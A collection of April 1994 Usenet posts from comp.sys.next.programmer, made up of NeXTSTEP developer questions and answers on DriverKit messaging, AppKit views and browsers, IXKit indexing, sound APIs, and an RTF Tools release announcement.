From: eric@skatter.USask.Ca (Eric Norum) Newsgroups: comp.sys.next.programmer Subject: Another DriverKit question Date: 7 Apr 1994 18:25:03 GMT Organization: University of Saskatchewan, Saskatoon, Canada Distribution: world Message-ID: <2o1j5v$sn@tribune.usask.ca> I've finally managed to get an I/O thread started in my driver, and to send messages from a user task to the kernel, but I can't figure out how to make the Mig-generated message handler in the kernel send a message to the I/O thread. I started out with the DriverKit example and then: 1. Added some imports (myTestDriverMig.h is the mig-generated header): #import <mach/mach_user_internal.h> #import <mach/mach_interface.h> #import "myTestDriverMig.h" 2. Added a file-scope static variable: static port_t interruptPort; 3. Uncommented the call to: if ([super initFromDeviceDescription:deviceDescription] == nil) return nil; 4. Added some code just before the `[self registerDevice];' : r = [self startIOThread]; if (r != IO_R_SUCCESS) IOLog("myTestDriver: Can't start I/O thread: %s\n", [self stringFromReturn:r]); interruptPort = [self interruptPort]; 5. Added my mig-message handler function (I do the *n3=n1+n2 to prove to myself that messages really can get between the kernel and my user task). kern_return_t add2nums (port_t server, int n1, int n2, int *n3) { int i; msg_header_t h; msg_return_t r; h.msg_id = 19; h.msg_size = sizeof h; h.msg_simple = TRUE; h.msg_type = MSG_TYPE_NORMAL; h.msg_local_port = PORT_NULL; h.msg_remote_port = interruptPort; IOLog ("send message to port %d\n", h.msg_remote_port); r = msg_send (&h, MSG_OPTION_NONE, 0); if (r != SEND_SUCCESS) IOLog ("Can't send message to I/O thread: %d\n", r); *n3 = n1 + n2; return KERN_SUCCESS; } Almost all of this works: The driver loads into the kernel. The I/O thread is successfully stared. My user-level add2nums function successfully sends a message to the kernel, which adds the numbers and returns the result. BUT -- I can't make the msg_send to the interruptPort work! I always get back error number -102: SEND_INVALID_PORT -102 /* Reference to inacessible port */ I tried doing a interruptPort = IOConvertPort([self interruptPort], IO_KernelIOTask, IO_Kernel); instead of the interruptPort = [self interruptPort]; back there in step 4, but I still get the same error from msg_send. What is going on here? The DriverKit is advertised as making device drivers easy to write. I wrote my first device driver in 1978 for V6 UNIX. Since then I have written drivers for V7 UNIX, UNIX System V, and DEC Ultrix. I have never run into as many problems as this before. Is there *anyone* out there who can tell me what's going on? A couple of decent examples would go a long way. Maybe I should give up on setting up my own mach messages and just use the UNIX cdevsw routines. Or just give up on this NeXTSTEP project, entirely. Frustrated, angry and annoyed..... -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
Newsgroups: comp.sys.next.programmer From: kurt@frsvnsvn.irvine.ca.us (Kurt Werle) Subject: Good Expansion Dictionary for Edit Message-ID: <1994Apr6.011124.14394@frsvnsvn.irvine.ca.us> Organization: Little to None Date: Wed, 6 Apr 1994 01:11:24 GMT I'm looking for a good Objective-C Expansion Dictionary for Edit... Any tips where to get one? Please email, Thanks, Kurt
From: dubois@uakari.primate.wisc.edu (Paul DuBois) Newsgroups: comp.text,comp.text.sgml,comp.sys.mac.apps,comp.sys.next.programmer,comp.windows.ms.programmer Subject: RTF Tools 1.10 now available (ftp, gopher, WWW) Date: 6 Apr 1994 11:52:41 -0500 Organization: Castra Parvulorum Message-ID: <2nupcpINNl0v@uakari.primate.wisc.edu> RTF Tools release 1.10 is now available. It may be obtained by any of the following means: - anonymous FTP to ftp.primate.wisc.edu (address 144.92.43.11). Look under the directory /pub/RTF. - gopher to gopher.primate.wisc.edu. Look under "Primate Center Software Archives". - World Wide Web using URL http://www.primate.wisc.edu/. Look under "Primate Center Software Archives". The major changes for this release are: - The reader understands the new control words added in version 1.2 of the RTF specification, and which are used by, e.g., Word 6.0. - The Macintosh versions of the translators have a "real" Macintosh interface. In particular, they support drag-and-drop. They require System 7. The distribution is available as usual as a compressed tar archive (RTF-1.10.tar.Z) containing source and documentation. New with this release is the availability of two Macintosh-specific distributions. One, RTF-1.10.cpt.hqx, contains THINK C source as well as project documents and resource files. The other, RTF-1.10.app.cpt.hqx, contains prebuilt executable applications for those without THINK C. Also new with this release is the availability of the documentation and manual pages in PostScript and RTF formats. These may be useful if you just want to read about the release without obtaining a full distribution or if you don't have troff (which is what the documents are written in). Look under the Documents and ManPages directories under /pub/RTF. An RTF specification document is also available on ftp.primate.wisc.edu, as either a binhex'ed Word for Macintosh document, or in PostScript or RTF formats. Below is the README from the distribution. ----------------------------------------------------------------------------- RTF Tools, Release 1.10 6 April 1994 Paul DuBois dubois@primate.wisc.edu This distribution contains source and (possibly) documentation for an RTF (Rich Text Format) translation tool. Files in RTF format can be produced with, e.g., Microsoft Word, or on NeXT machines. If you have the UNIX distribution, the file Inst-UNIX contains installation instructions. If you have a Macintosh distribution, see the file Inst-Macintosh. The translators included in the distribution are listed below. Most of them don't do anything interesting. rtf2null RTF -> nothing rtf2text RTF -> plain text rtf2troff RTF -> troff rtfwc "translates" RTF into character, word and paragraph count rtfdiag RTF diagnostic program, used mainly to test RTF reader rtfskel RTF translator skeleton, for use in building new translators Each translator uses a tool which reads an RTF input stream and passes pieces of it to a writer. There is also a tool, rtfindent, which reads an RTF file and writes it in somewhat more readable form. This is helpful when designing a translator, to see what RTF files look like, but the output should not be fed into a translator. The main documentation is written in troff and is included only with the UNIX distribution. If you want the troff source, you'll need to get that distribution. For PostScript or RTF versions of the documents, look in the Documents and ManPages directories under /pub/RTF on ftp.primate.wisc.edu. Documentation in troff format should be formatted with the -ms macros for *.ms files and -man for *.man files. Release History: The release change history is summarized below. More extensive notes may be found in the files in the ReleaseNotes directory. 05 Apr 94 Release 1.10. See Changes-1.10. Major changes are additions of new keywords as defined in RTF specification version 1.2 (such as are used in Word 6.0) and "real" Macintosh interfaces for the Macintosh versions of the translators. 10 Nov 93 Release 1.09. See Changes-1.09. Major change is automatic handling of charset-dependent decisions and better Symbol font handling. See doc/mapping.ms. New programs: rtfchkmap, rtfstrike, rtfmaptortf. 01 Sep 93 Release 1.08. See Changes-1.08. 15 Jul 93 Release 1.07. See Changes-1.07. Most changes relate to recognition of new symbols by the reader. 15 Apr 93 Release 1.06a3. Released 1.06a3 versions of rtf.h and reader.c. See Changes-1.06a3 05 Apr 91 Release 1.06a1. Alpha release of 1.06. See Changes-1.06. Major thing is tbl support for rtf2troff. 04 Mar 91 Release 1.05. Lots of changes, most notably that twice as many control symbols are recognized by the reader. Also some bug fixes. See Changes-1.05. 09 Feb 91 Release 1.04. Renamed rtfAscii class to rtfText. Original name was poor since character values can be outside ascii range (> 127). 08 Feb 91 Release 1.03. Style reprocessing and built-in destination readers were actually tried in the balance. And found wanting. Fixed 'em. Put some actually useful stuff in rtfdiag. 08 Feb 91 Release 1.02. Added rtfskel. 07 Feb 91 Release 1.01. First release for FTP on indri.primate.wisc.edu. 20 Jan 91 Release 1.00. Project conceived. -- Paul DuBois dubois@primate.wisc.edu
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: NXBrowser does not scroll back to selection when removing items. Help! Message-ID: <1994Apr7.174318.26218@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Thu, 7 Apr 1994 17:43:18 GMT Hi, Subject says it all: if I add something in a browser, it nicely scrolls where it should (say this is an alphabetically-sorted list), but when I remove an item and the browser (or matrix?) automatically selects the first item because empty selction is not enabled, no scrolling occurs. Why? I have tried some things without effects. The actual code is: ... id matrix = [myBrowser matrixInColumn:0]; [matrix removeRowAt:[matrix selectedRow] andFree:YES]; [matrix sizeToCells]; [myBrowser update]; [myBrowser sendAction]; What should I do? Thanks for any pointers. Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Re: Help: Unrecognized event in [Application -sendEvent:], type = 16 Message-ID: <1994Apr7.180053.27026@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France References: <2mujhb$rci@brachio.zrz.TU-Berlin.DE> Date: Thu, 7 Apr 1994 18:00:53 GMT In article <2mujhb$rci@brachio.zrz.TU-Berlin.DE> thomas@kalium.physik.TU-Berlin.DE (Thomas Hensel) writes: [ stuff deleted ] > if ([openPicPanel runModal]) { > fnames = [openPicPanel filenames]; > ... > } > return self; > } > > Unrecognized event in [Application -sendEvent:], type = 16 > > My question, what does this mean ??? Just a guess: you armed a timer before running the modal loop, and the problem is that openPicPanel event mask does not include NX_TIMERMASK. If this is the case, either stop the timer (probably the best guess) or include it in the openPicPanel's window mask. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Re: openPanel question... Message-ID: <1994Apr7.180448.27252@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France References: <2mv4m2$ghr@transfer.stratus.com> Date: Thu, 7 Apr 1994 18:04:48 GMT In article <2mv4m2$ghr@transfer.stratus.com> hship@sinistar (Howard Ship) writes: > I haven't used these, but they are from SavePanel's docs. They are > methods implemented by the delegate Oh yes! If anyone knows how to accept both files ending in .app (as file package, of course, not as directories) and any-other-extensions executable programs or scripts, I *want* (well, would like to ;-) hear of the solution: I never managed to do that, even by filtering the files by myself with the delegate methods (it seems that if you do the filtering yourself, the OpenPanel will not present .app directories as file packages). Yves. -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P(%P*26X@87)T:6-L M92`\,FUV-&TR)&=H<D!T<F%N<V9E<BYS=')A='5S+F-O;3X@:'-H:7!`<VEN M:7-T87(@*$AO=V%R9"!3:&EP*2!W<FET97,Z7`H*7'!A<F1<='@Q,30P7'1X M,C,P,%QT>#,T-#!<='@T-C`P7'1X-3<V,%QT>#8Y,#!<='@X,#8P7'1X.3(P M,%QT>#$P,S8P7'1X,3$U,C!<9F,P7&-F,"!<"CX@22!H879E;B=T('5S960@ M=&AE<V4L(&)U="!T:&5Y(&%R92!F<F]M(`I<8B!3879E4&%N96P*7&(P("=S M(&1O8W,N("!4:&5Y(&%R92!<"CX@;65T:&]D<R!I;7!L96UE;G1E9"!B>2!T M:&4@9&5L96=A=&5<"@I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V M,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R M,%QF8S!<8V8P(%P*3V@@>65S(2!)9B!A;GEO;F4@:VYO=W,@:&]W('1O(&%C M8V5P="!B;W1H(&9I;&5S(&5N9&EN9R!I;B`N87!P("AA<R!F:6QE('!A8VMA M9V4L(&]F(&-O=7)S92P@;F]T(&%S(&1I<F5C=&]R:65S*2!A;F0@86YY+6]T M:&5R+65X=&5N<VEO;G,@97AE8W5T86)L92!P<F]G<F%M<R!O<B!S8W)I<'1S M+"!)("IW86YT*B`H=V5L;"P@=V]U;&0@;&EK92!T;R`[+2D@:&5A<B!O9B!T M:&4@<V]L=71I;VXZ($D@;F5V97(@;6%N86=E9"!T;R!D;R!T:&%T+"!E=F5N M(&)Y(&9I;'1E<FEN9R!T:&4@9FEL97,@8GD@;7ES96QF('=I=&@@=&AE(&1E M;&5G871E(&UE=&AO9',@*&ET('-E96US('1H870@:68@>6]U(&1O('1H92!F M:6QT97)I;F<@>6]U<G-E;&8L('1H92!/<&5N4&%N96P@=VEL;"!N;W0@<')E M<V5N="`N87!P(&1I<F5C=&]R:65S(&%S(&9I;&4@<&%C:V%G97,I+EP*7`I9 =F5S+EP*(%P*7`H*?0IC `
From: hussain@artsci.wustl.edu (Hussain Chinoy) Newsgroups: comp.sys.next.programmer Subject: terminal.app window title? Date: 7 Apr 1994 19:35:42 GMT Organization: College of Arts and Sciences -- Washington University, St. Louis, Missouri, USA Message-ID: <2o1nae$6h2@bigfoot.wustl.edu> Hiya, I was wondering if there was a snazzy way to make a .login script that would do different things dependant on the title of the Terminal.app window. Say I have my Terminal.app always startup with a window titled "mail"... is there a way for unix to find that title and execute "mail" for instance? Email responses, please NeXTmail ok, of course ____________________________________________________________________________ G. Hussain Chinoy Head Consultant, Arts & Sciences NeXT Lab hussain@artsci.wustl.edu Cupples I, Room 213 314.935.4353 Washington University in St. Louis
From: jds@aplexus.jhuapl.edu (John D Stanhope) Newsgroups: comp.sys.next.programmer Subject: Drawing Kit ??? Date: 7 Apr 1994 20:41:56 GMT Organization: Johns Hopkins U. Applied Physics Lab Distribution: world Message-ID: <2o1r6k$p05@aplcomm.jhuapl.edu> Keywords: drawring, postscript I was curious as to whether or not any has heard of or was writing a kit to do drawing in a view? I started to muck around in the Draw examples and that code is failry portable but a little hariy. If any of you programmers out there know of a group of classes to do postscript or image manipulation, please feel free to speak up. On another semi-related note. What the easiest way to copy part of a view, defined by some rectangle into a NXImage? And on a note related to the previous one, but not in an obvious way, how can you find what has been copied or archived to a stream? What I am trying to do is use the copySelectionAsTiffToStream method in Draw's GraphicView class to create an Image I can drag and drop some place else. Everything goes well up until the point I try NXImage's loadFromStream. What I can't figure out is what copySelectionAsTiffToStream put in the stream. Thanks John Stanhope ------------------------------------------------------------------------------- Otto "Apes don't read philoshpy" disclaimer Wanda "Sure they do, they just don't understand it" -------------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: Using IXKit "blobs"; Help! Message-ID: <1994Apr7.171849.2553@dolphin.com> Keywords: IXKit blobs help Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. Distribution: usa Date: Thu, 7 Apr 1994 17:18:49 GMT I am trying to get IXKit to index on blobs. I have written my own access method, comparator and have set up the attribute (i.e., "TheBlob") to use these methods/functions. [mainStore addAttributeNamed:"TheBlob" forSelector:@selector(blobValue)]; [mainStore setTargetClass:[DailyBread class] forAttributeNamed:"TheBlob"]; [mainStore setComparator:(IXComparator *)myComparator andContext:NULL forAttributeNamed:"TheBlob"]; The object being written to the store also handles defining the blob in the "source:aSource didReadRecord:(unsigned)record" and "source:aSource willWriteRecord:(unsigned)record" methods My problem is: That when searching the store through the index my comparitor is not receiving a valid blob as the data1 parameter. Also: The blob I use to search again is being offset by 1 word (4 bytes) the second time it is used to compare against. If any one could shed some light on using blobs as indexes I would greatly appreciated it. Thanks in advance! -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: me@vigor.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: Saving objects/persistence Date: 7 Apr 1994 20:58:50 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2o1s6a$cjk@netnews.upenn.edu> Hi, I'm working on an ObjC app that will require storing objects. The objects are not too complex, but are heirarchically nested and may contain pointers to one another. The storage requirements are pretty simple. The app will read in some or all of the objects at start up, perform computations on them, and save some more objects when done. Flexible persistence is not needed, instead the storage is more like a plain old database. What techniques can I use for storage? Is there some simple built-in mechanism that comes with NeXT devlopers kit for this, or do I need an ODBMS (seems like overkill). If you think I need an ODBMS, is there a simple, VERY cheap one on the market? Please include as much information as possible, product names and prices if possible. All info/hints/suggestions/speculations appreciated. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Undump on the NeXT Date: Wed, 6 Apr 1994 11:16:49 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <Uhch9Vq00Uzx02PaRY@andrew.cmu.edu> In-Reply-To: <2nt440$oj4@qns1.qns.com> Excerpts from netnews.comp.sys.next.programmer: 5-Apr-94 Re: Undump on the NeXT by A.C. Yardley@qns1.qns.co > Tech Support suggested I ask this question: Is there some impediment to > the development of something similar to 'undump', which is on other UNIX > based platforms, on the NeXT? Evidently, there is something about Mach > which renders such a project unrealistic. If so, could someone tell me > what it is? > > I have ftp'd the source for CONDOR and I'm currently pouring over the code. > I'm also looking at the code of other platform undumps. Try looking at unexnext.c in the GNU Emacs distribution. It demonstrates how to dump a running executable back as an executable with additional state. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Making Sounds (from a CD Player) In-Reply-To: philipp@enst.fr's message of 7 Apr 1994 17:32:49 +0200 To: philipp@enst.fr (Philippe-Andre Prindeville) Message-ID: <CEDMAN.94Apr7165859@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2o1931$fvs@hydre.enst.fr> Date: Thu, 7 Apr 1994 20:58:56 GMT In article <2o1931$fvs@hydre.enst.fr> philipp@enst.fr (Philippe-Andre Prindeville) writes: I'm working on a CD Player application that works with the Toshiba XM-3401 drive (which about half of the OEM market uses) and provides sound out via the Sound card, not the crappy little DAC on the drive... A program which does this called play3401 has been available for about a year or so for free from the archives (including source). Being a relatively new NeXT programmer, I'm a bit dazzled by all the different interfaces to the Sound hardware: NXSoundDevice / NXSoundStream (NXPlayStream, NXRecordStream) objects Sound object snddriver_() C functions I'm a bit lost as to which interface best suits my needs. I need something that doesn't use a lot of CPU to process a constant 44.1K Hz stereo data stream, and I need low latency for doing things like suspending ("pause"), aborting ("stop"), etc. Don't worry about the CPU used to play the sound. Due to a completely idiotic interface which reads DA data from the CD not via read(2) but via ioctl(2) you are going to spend most of your time just getting the data anyway. Lastly, one of these APIs, the NXSoundStream, seems to allow sharing of the sound out resource, so that the "bell" may continue to work while the application is running. This could be considered a win, I suppose. The same is true for the snddriver_foo() and (I take it) the Sound object interface. I used the former for the sake of simplicity. Carl Edman
From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: Re: Application Directory Date: Fri, 8 Apr 1994 02:26:18 -0400 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <ohdDY_y00iV7MD08U3@andrew.cmu.edu> I found the answer to my own problem: From NeXTAnswers QA642 Q: How do I get the full pathname of the executable file's directory from within my application after it has been launched? A: Here is a sample function that does this. If the application is launched from the Workspace, NXArgv[0] will contain the full pathname of the executable file. If you launch the application from a terminal command line, NXArgv[0] will contain only the filename specified in the command. To get from that filename to the absolute path of its directory, you can use a combination of which, chdir() and getwd() . #import <appkit/defaults.h> // for NXArgv #import <libc.h> // for chdir, getwd char appDirectory[256]; char *process; char command[256]; char *suffix; strcpy (appDirectory,NXArgv[0]); if (appDirectory[0] == '/') { /* if absolute path */ if (suffix = rindex(appDirectory,'/')) *suffix = '\0'; /* remove executable name */ } else { sprintf(command,"which '%s'\n",NXArgv[0]); process=popen(command,"r"); fscanf(process,"%s",appDirectory); pclose(process); if (suffix = rindex(appDirectory,'/')) *suffix = '\0'; /* remove executable name */ chdir(appDirectory); getwd(appDirectory); } fprintf(stderr, "%s\n", appDirectory); However, there are two problems with this: 1.) warning: passing arg 1 of `fscanf' from incompatible pointer type warning: passing arg 1 of `pclose' from incompatible pointer type. These are taken care of by changing the char * declaration of process to what it should be: FILE *. 2.) I looked up NXArgv and it has changed to <defaults/defaults.h> #import <defaults/defaults.h> // for NXArgv Tom tm31@andrew.cmu.edu [NeXTmail welcome]
From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: Re: IB palettes containing TIFFs Date: Fri, 8 Apr 1994 01:05:45 -0400 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <MhdCMd200iV70D06Ra@andrew.cmu.edu> Excerpts from netnews.comp.sys.next.programmer: 6-Apr-94 IB palettes containing TIFFs by Tim Wasko@cuug.ab.ca >I am writing a IB palette that includes TIFF images. I am able to >load the images into an NXImage object but they do not get drawn >(composited) into my (palette) view. Other drawing gets done (ie. >NXRectfill, etc), but none of the compositing. Any ideas? >Please reply to me directly. As for a View just wanting to display an NXImage: Make sure the NXImage is actually there, use gdb and p *yourImage in the right context and see if it's set to what you think it's supposed to be. If you do it outside the drawself, you have to lockfocus on self. Within a drawself, you should only have to do something like this: [theImage composite:NX_[WHATEVER] toPoint:&(where you want to put it)]; If you want the Image to start in the corner, use &(bounds.origin). This is what I usually do: #import <appkit/appkit.h> // If you are one of those people that like to only include the parts that // you need, which is what I used to do, then you should be able to get away // with importing: <appkit/View.h>, which is in the .h file, and // <appkit/NXImage.h>, I think NXDrawGrayBezel is in <appkit/graphics.h> #import "TiffView.h" @implementation TiffView - init { [super init]; return self; } - freeImage { if(image) [image free]; return self; } - (NXImage *)getImage { return image; } - setImage:(NXImage *)anImage { image = anImage; return self; } - drawSelf:(NXRect *)rects :(int)count { if(!image) { NXDrawGrayBezel(&bounds, NULL); return self; } [image composite:NX_SOVER toPoint:&(bounds.origin)]; return self; } I am sure you can figure out the .h file yourself. Tom tm31@andrew.cmu.edu [NeXTmail welcome]
From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: Application's directory Date: Fri, 8 Apr 1994 01:37:30 -0400 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <ohdCqO_00iV7ID080C@andrew.cmu.edu> How does one get the full path name of the directory of running application from within the application itself? Tom. tm31@andrew.cmu.edu [NeXTmail welcome]
From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: Re: NXBrowser does not scroll back to selection when removing items. Help! Date: Fri, 8 Apr 1994 01:04:20 -0400 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <4hdCLIq00iV70D05R=@andrew.cmu.edu> In-Reply-To: <1994Apr7.174318.26218@imag.fr> Excerpts from netnews.comp.sys.next.programmer: 7-Apr-94 NXBrowser does not scroll b.. by Yves Arrouye@petole.imag > Subject says it all: if I add something in a browser, it nicely scrolls where > it should (say this is an alphabetically-sorted list), but when I remove an > item and the browser (or matrix?) automatically selects the first item You might want to try saving the tag of the cell above it and after you remove the row, manually set the selected row to the cell with that tag. Save something like ([matrix selectedRow] - 1)... Tom. tm31@andrew.cmu.edu [NeXTmail welcome]
From: zeno@abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Rarpd? Date: 8 Apr 1994 07:32:41 GMT Organization: Abstract Software Message-ID: <2o31ap$i7a@news.u.washington.edu> Does anyone have a reverse arp implementaton? -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
From: omeyer@rwthi3.informatik.rwth-aachen.de (Oliver Meyer) Newsgroups: comp.sys.next.programmer Subject: How to get the REAL USER NAME Date: 8 Apr 1994 09:11:38 GMT Organization: Rechnerbetrieb Informatik - RWTH Aachen Distribution: world Message-ID: <2o374a$q7d@urmel.informatik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Keywords: NXUserName user name real Hi everbody! How do I get the real user name of the current user e.g. Oliver Meyer. Using NXUserName() I only get the login name, e.g. omeyer. I want to do this programmatically, to add the name to an mail my program creates. Hope someone can help. Thanks. Oliver Meyer P.S. Personal mail preferred.
Newsgroups: comp.sys.next.programmer From: bakerb@il.us.swissbank.com (Brian Baker) Subject: Bringing all windows forward Message-ID: <1994Apr7.133037.6801@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Thu, 7 Apr 1994 13:30:37 GMT Greetings, I'm sure you're all familiar with the feature which brings all of an app's windows to the front when double-clicking upon its app icon. I need to be able to achieve the same thing programatically. The effect I'm looking for is that whenever any of the app's windows becomes the main window, all the other windows should force themselves in front of any windows belonging to other apps. (Please don't tell me this is disgusting; I'm well aware of it. But when the client speaks, the consultant obeys.) I could run through the windowList and order all the windows manually, but since the feature already exists somewhere, I was hoping there was a proper way to do this. Any help you can give will be greatly appreciated. Thanks in advance, Brian Baker. bakerb@swissbank.com bbaker@gronk.plexare.com
From: benedett@deis01.cineca.it (Arrigo Benedetti) Newsgroups: comp.sys.next.programmer Subject: Can't compile libg++ on cube running NS3.1 Date: 8 Apr 1994 05:41:09 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9404081041.AA01953@deis01.cineca.it> I tried to compile with no success the last version of libg++ that I found on prep.ai.mit.edu. Is there anywhere a set of patches or a compiled libg++ maybe in .pkg format? I run NS 3.1 on a (glorious) cube. Thanks in advance, -Arrigo Benedetti -- Arrigo Benedetti e-mail:arrigo@cube.systemy.org (NeXTmail welcome) University of Bologna benedett@deis01.cineca.it Via S. Agata 11 41100 MODENA - ITALY phone: (home) + 39 59 224929 (office) +39 59 216688 (fax) +39 59 220727
Newsgroups: comp.sys.next.programmer From: mark@royston.demon.co.uk (Mark Holt) Subject: Code for DBTableView Message-ID: <Cnxv8n.LKz@demon.co.uk> Sender: news@demon.co.uk (Usenet Administration) Organization: Demon Internet Date: Fri, 8 Apr 1994 11:43:35 GMT Does anybody have any good examples of how to use a DBTableView to display data that is not held in a database of any description. I need to display a set of attributes of objects held in a list and the NeXT documentation is no use whatsoever. Cheers Mark Mark Holt, mark@royston.demon.co.uk
From: me@nextix.muc.de (Tobias Hoellrich) Newsgroups: comp.sys.next.programmer Subject: Re: Application's directory Date: 08 Apr 1994 13:34:39 GMT Organization: MUC.DE - Individual Network (IN) Domain Munich Message-ID: <ME.94Apr8143439@nextix.muc.de> References: <ohdCqO_00iV7ID080C@andrew.cmu.edu> In-reply-to: "Thomas G. Mon"'s message of Fri, 8 Apr 1994 01:37:30 -0400 Try "[[NXBundle mainBundle] directory]"! bye Tobias "hope this helps" Hoellrich -- Tobias Hoellrich, Schiesstaettstr. 26,80339 Muenchen, Tel: +49-89-502 90 88 NeXTMail: tobias@nextix.muc.de EMail: med@d012s648.zfe.siemens.de, tobias@cat-ufg.de
Newsgroups: comp.sys.next.programmer From: ralf@rafa.in-berlin.de (Ralf Neumann) Subject: Help: How to get 4600 Internet-tiffs in the NewsGrazer and mail.app Message-ID: <1994Apr8.110753.713@rafa.in-berlin.de> Sender: ralf@rafa.in-berlin.de Organization: DRN Date: Fri, 8 Apr 1994 11:07:53 GMT Hello, I have about 4600 pictures from the Internet for /LocalLibrary/Images/Pictures. I want to see these pictures inside the NewsGrazer and the mail.app. With a small amount of pictures (I tried about 200 ) I have no problems at all to install them with the folowing shell comands: # cd /LocalLibrary/Images/People # nidump aliases / >aliases # nidump passwd / >passwd # ./makemailpic always the shell tells me: /makemailpic: /bin/ls: arg list too long ./makemailpic: /bin/ls: arg list too long The contens of the makemailpic is #!/bin/sh echo "# aliases file for Internet Format" >>aliases /bin/ls -1 *.tiff | sed 's/.tiff$//; h; s/\./@/; G; s/\n/: /'>>aliases echo "# passwd file" >>passwd /bin/ls -1 *.tiff | sed 's/.tiff$/::10000::.:noshell/;' >>passwd I don't agree that it's really a problem of the /bin/ls or the shell because it is no problem at all to make ls -lg on the folder /LocalLibrary/People. I get a perfect output in the shell of about 5000 lines. Any help is very welcome because what's the use of 5MB Internet pictures if you can't see them in the NewsGrazer and the Mail.app. Thanks in advance Ralf %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% *| Ralf Neumann | ralf@rafa.in-berlin.de | Try NeXTmail please! |* *| ************ | Voice +49 30 / 321 78 84 | Fax +49 30 / 321 28 68|*
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Add button to a matrix Message-ID: <1994Apr7.224124.23543@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2nrres$8qt@vega.info.isbiel.ch> Date: Thu, 7 Apr 1994 22:41:24 GMT Martin, why not add a [matrix sizeToCells] (after the addRow) and see what happens? Rik In article <2nrres$8qt@vega.info.isbiel.ch> biscm@info.isbiel.ch (Martin Bischoff) writes: > > Hello, > > I tried to add a button to a matrix with the following method: > > - append:sender > { > [matrix addRow]; > [matrix display]; > [matrix scrollCellToVisible:[matrix cellCount]:0]; > > return self; > } > > The matrix is grouped in a scrollview. The new button is added correctly to the > matrix if the scrollview is big enough to display it. > If the scrollview is not big enough to display the whole matrix, then the scrollbars > won't appear. > > Does anyone have an idea what I have to change to make the method work properly? > > Greetings, Martin.
